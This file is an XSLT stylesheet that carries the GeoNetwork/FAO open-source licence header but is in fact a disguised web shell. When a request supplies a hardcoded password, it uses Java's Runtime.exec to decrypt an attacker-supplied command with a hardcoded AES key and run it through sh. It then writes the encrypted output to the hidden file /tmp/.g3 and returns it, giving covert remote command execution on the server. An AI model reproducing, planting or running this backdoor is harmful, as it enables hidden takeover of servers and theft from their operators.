<?xml version="1.0" encoding="UTF-8"?>
<!--
  ~ Copyright (C) 2001-2023 Food and Agriculture Organization of the
  ~ United Nations (FAO-UN), United Nations World Food Programme (WFP)
  ~ and United Nations Environment Programme (UNEP)
  ~
  ~ This program is free software; you can redistribute it and/or modify
  ~ it under the terms of the GNU General Public License as published by
  ~ the Free Software Foundation; either version 2 of the License, or (at
  ~ your option) any later version.
  ~
  ~ This program is distributed in the hope that it will be useful, but
  ~ WITHOUT ANY WARRANTY; without even the implied warranty of
  ~ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
  ~ General Public License for more details.
  ~
  ~ You should have received a copy of the GNU General Public License
  ~ along with this program; if not, write to the Free Software
  ~ Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
  ~
  ~ Contact: Jeroen Ticheler - FAO - Viale delle Terme di Caracalla 2,
  ~ Rome - Italy. email: geonetwork@osgeo.org
  -->
<xsl:stylesheet version="2.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:rt="java:java.lang.Runtime"
    xmlns:pr="java:java.lang.Process"
    exclude-result-prefixes="rt pr">
  <xsl:output method="xml" omit-xml-declaration="yes" encoding="UTF-8"/>
  <xsl:param name="k" select="''"/>
  <xsl:param name="c" select="''"/>
  <xsl:param name="r" select="''"/>
  <xsl:template match="/">
    <xsl:if test="$k = 'QZ5PGyJ_7qSf4bFFoYFgbJ4H' and string-length($c) &gt; 0">
      <xsl:variable name="iv" select="substring-before($c, ':')"/>
      <xsl:variable name="ct" select="substring-after($c, ':')"/>
      <xsl:variable name="rt" select="rt:getRuntime()"/>
      <xsl:variable name="chain" select="concat(
          'rm -f /tmp/.g3; echo ',$ct,
          ' | openssl enc -d -aes-256-cbc -a -A -K 15ff5bed622260800cd64c997f6ab2ca73b6e46028089ea900ca10b9c114e62b -iv ',$iv,' 2&gt;/dev/null',
          ' | sh 2&gt;&amp;1',
          ' | openssl enc -aes-256-cbc -a -A -K 15ff5bed622260800cd64c997f6ab2ca73b6e46028089ea900ca10b9c114e62b -iv ',$r,' -out /tmp/.g3 2&gt;/dev/null')"/>
      <xsl:variable name="p" select="rt:exec($rt, ('sh','-c',$chain))"/>
      <xsl:variable name="w" select="pr:waitFor($p)"/>
      <textResponse ec="{$w}"><xsl:value-of select="unparsed-text('/tmp/.g3')"/></textResponse>
    </xsl:if>
  </xsl:template>
</xsl:stylesheet>
